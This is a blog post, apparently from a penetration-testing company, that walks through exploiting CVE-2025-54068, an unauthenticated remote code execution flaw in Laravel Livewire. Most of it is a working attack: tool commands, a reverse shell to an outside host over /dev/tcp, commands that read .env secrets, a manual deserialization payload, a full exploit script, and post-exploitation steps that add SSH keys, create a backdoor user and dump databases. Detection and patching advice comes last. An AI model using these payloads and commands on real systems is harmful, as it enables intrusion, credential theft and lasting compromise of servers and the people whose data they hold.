Join our growing community of developers and tech enthusiastsJoin Now
Back to blog

Exploiting CVE-2025-54068 in Laravel Livewire

Vulnerability Analysis·January 3, 2026
Exploiting CVE-2025-54068 in Laravel Livewire
Table of Contents

When CVE-2025-54068 dropped in July 2025, it sent shockwaves through the Laravel community. This wasn't just another vulnerability. It was a critical RCE affecting one of Laravel's most popular frameworks, Livewire, potentially impacting over 130,000 applications worldwide.

What made it particularly dangerous? No authentication needed. No user interaction required. Just a crafted payload and boom, remote code execution.

Let's break down how this vulnerability works and how attackers are exploiting it in the wild.

What Went Wrong

Livewire v3 has this neat feature where it syncs component state between your browser and server. It "dehydrates" the state on the server, sends it to your browser, then "rehydrates" it when you interact with the component. Think of it like pickling and unpickling data, except someone figured out how to slip poison into the jar.

The problem lived in the hydrateForUpdate method. When processing property updates, Livewire wasn't properly validating what it was deserializing. Researchers at Synacktiv discovered they could smuggle malicious PHP objects through this mechanism, bypassing the APP_KEY signature entirely.

Affected Versions: Livewire 3.0.0-beta.1 through 3.6.3
CVSS Score: 9.2 (Critical)
Patch: Version 3.6.4+

The Attack Surface

Here's what makes this exploitable. Your target needs Livewire v3 installed with at least one component mounted on a page. That's it. The component doesn't need to be doing anything fancy, even a basic counter component works.

You don't need credentials. You don't need the user to click anything. If they're running an unpatched version, they're vulnerable.

Exploitation with Livepyre

Synacktiv released Livepyre, a Python tool that automates the entire exploitation process. It handles version detection, snapshot extraction, and payload delivery.

Getting Started

bash
1git clone https://github.com/synacktiv/Livepyre.git
2cd Livepyre
3pip install -r requirements.txt
4chmod +x Livepyre.py

Basic Attack Without APP_KEY

bash
1./Livepyre.py -u http://target.com/counter

The tool detects the Livewire version, finds available snapshots, and attempts exploitation. Successful output looks like this:

bash
1[INFO] The remote livewire version is v3.6.2, the target is vulnerable.
2[INFO] Running exploit without APP_KEY.
3[INFO] test is typed as an object, triggering RCE.
4[INFO] Payload works, output: uid=33(www-data) gid=33(www-data)

Running Custom Commands

bash
1# Check current user
2./Livepyre.py -u http://target.com/counter -f system -p "whoami"
3
4# Extract sensitive data
5./Livepyre.py -u http://target.com/counter -f system -p "cat .env"
6
7# Establish reverse shell
8./Livepyre.py -u http://target.com/counter -f system -p "bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"

With APP_KEY

If you've obtained the APP_KEY from leaked .env files, GitHub commits, or misconfigured servers

bash
1./Livepyre.py -u http://target.com/counter -a 'base64:CGhMqYXFMzbOe048WS6a0iG8f6bBcTLVbP36bqqrvuA='

This method works even on patched versions if the APP_KEY is compromised.

Advanced Options

bash
1# Add custom headers
2./Livepyre.py -u http://target.com/counter -H "Cookie: session=abc123"
3
4# Route through proxy for testing
5./Livepyre.py -u http://target.com/counter -P http://127.0.0.1:8080
6
7# Debug mode
8./Livepyre.py -u http://target.com/counter -d

Manual Exploitation

Sometimes you need to understand what's happening under the hood. Here's how to exploit this vulnerability manually.

Step 1: Version Detection

Check the Livewire version through the JavaScript cache buster:

bash
1curl -s http://target.com | grep -oP 'livewire.js\?v=\K[a-f0-9]+'

Step 2: Find Components

Locate Livewire components on the target:

bash
1curl -s http://target.com | grep -oP 'wire:id="[^"]+"'

Step 3: Extract Snapshots

Pull the snapshot data from the page:

bash
1import base64
2import json
3import re
4
5response = requests.get('http://target.com')
6match = re.search(r'wire:snapshot="([^"]+)"', response.text)
7
8if match:
9    snapshot = json.loads(base64.b64decode(match.group(1)))
10    print(json.dumps(snapshot, indent=2))

A typical snapshot looks like this:

bash
1{
2  "data": {
3    "count": 0,
4    "test": null
5  },
6  "memo": {
7    "id": "counter-component",
8    "name": "counter"
9  },
10  "checksum": "abc123..."
11}

Step 4: Craft the Payload

The exploit leverages PHP object deserialization with GuzzleHttp gadgets:

bash
1def create_exploit(command):
2    return {
3        "class": "GuzzleHttp\\Psr7\\FnStream",
4        "s": {
5            "close": ["system", command]
6        }
7    }
8
9payload = {
10    "snapshot": json.dumps(snapshot),
11    "updates": [
12        {
13            "type": "syncInput",
14            "payload": {
15                "id": "exploit",
16                "name": "exploit",
17                "value": create_exploit("id")
18            }
19        }
20    ],
21    "calls": []
22}

Step 5: Execute

Send the crafted payload to the Livewire update endpoint:

bash
1import requests
2
3response = requests.post(
4    'http://target.com/livewire/update',
5    json=payload,
6    headers={'Content-Type': 'application/json'}
7)
8
9print(response.text)

Complete Exploit Script

Here's a working proof of concept:

bash
1#!/usr/bin/env python3
2import requests
3import json
4import base64
5import re
6
7class LivewireExploit:
8    def __init__(self, target_url):
9        self.target = target_url
10        self.session = requests.Session()
11    
12    def get_snapshot(self):
13        response = self.session.get(self.target)
14        match = re.search(r'wire:snapshot="([^"]+)"', response.text)
15        
16        if match:
17            return json.loads(base64.b64decode(match.group(1)))
18        return None
19    
20    def exploit(self, command="id"):
21        snapshot = self.get_snapshot()
22        if not snapshot:
23            print("[-] No snapshot found")
24            return
25        
26        payload = {
27            "snapshot": json.dumps(snapshot),
28            "updates": [{
29                "type": "syncInput",
30                "payload": {
31                    "id": "x",
32                    "name": "x",
33                    "value": {
34                        "class": "GuzzleHttp\\Psr7\\FnStream",
35                        "s": {"close": ["system", command]}
36                    }
37                }
38            }],
39            "calls": []
40        }
41        
42        r = self.session.post(
43            f"{self.target}/livewire/update",
44            json=payload
45        )
46        
47        print(f"[+] Response: {r.text}")
48
49if __name__ == "__main__":
50    exploit = LivewireExploit("http://target.com")
51    exploit.exploit("whoami")

Post-Exploitation

Once you've got code execution, here's what comes next.

Persistence

bash
1# Add SSH key
2./Livepyre.py -u http://target.com/counter -p "echo 'ssh-rsa AAAA...' >> ~/.ssh/authorized_keys"
3
4# Create backdoor user
5./Livepyre.py -u http://target.com/counter -p "useradd -m -s /bin/bash backdoor && echo 'backdoor:password' | chpasswd"

Privilege Escalation

bash
1# Check sudo rights
2./Livepyre.py -u http://target.com/counter -p "sudo -l"
3
4# Find SUID binaries
5./Livepyre.py -u http://target.com/counter -p "find / -perm -4000 2>/dev/null"

Data Extraction

bash
1# Dump database credentials
2./Livepyre.py -u http://target.com/counter -p "cat /var/www/.env | grep DB_"
3
4# Extract user data
5./Livepyre.py -u http://target.com/counter -p "mysqldump -u dbuser -p'password' database > /tmp/dump.sql"

Detection Indicators

Network Signatures

Watch for these patterns in your web traffic:

  • Large POST requests to /livewire/update
  • JSON payloads containing PHP class names like GuzzleHttp\Psr7\FnStream
  • Base64-encoded data with suspicious object structures
  • Unusual patterns in the updates array

Log Analysis

bash
1# Check Apache/Nginx logs
2grep "POST /livewire/update" /var/log/nginx/access.log | grep "GuzzleHttp"
3
4# Monitor PHP error logs
5tail -f /var/log/php-fpm/error.log | grep -i "fnstream"

System Indicators

  • Unexpected processes running as www-data
  • New files in /tmp or web directories
  • Modified .env files
  • Unusual cron jobs
  • New SSH keys in authorized_keys

Mitigation

Immediate Actions

Upgrade Livewire to version 3.6.4 or higher right now. Don't wait.

bash
1composer update livewire/livewire
2composer show livewire/livewire  # Verify version

Remember, Livewire might be installed as a dependency through Filament or other packages. Check with:

bash
1composer why livewire/livewire --tree

Long-Term Defense

  1. Implement WAF rules to block malicious hydration payloads
  2. Use strict type checking on all component properties
  3. Treat your APP_KEY like nuclear launch codes
  4. Regular security audits and penetration testing
  5. Monitor Livewire traffic for anomalies

The Bottom Line

CVE-2025-54068 is a critical vulnerability that every Laravel developer needs to understand. Even with the patch, the architectural risk remains if your APP_KEY leaks. This exploit demonstrates how modern frameworks can introduce unexpected attack vectors through features like property hydration. For organizations needing help identifying vulnerabilities like this or conducting comprehensive security assessments, Egnworks provides penetration testing, red team operations, and cybersecurity consulting services across Asia.

Disclaimer: This article is for educational and authorized security testing only. Unauthorized access to systems is illegal. Always get proper authorization before testing.

Written By
Jacob Strix

Jacob Strix

Finding zero-days and writing exploits. Web security researcher obsessed with breaking things properly. I exploit your code, so hackers can't touch your stuff.

Share:
Contribute

Share your story.

Join our community of writers and reach thousands of readers with your insights.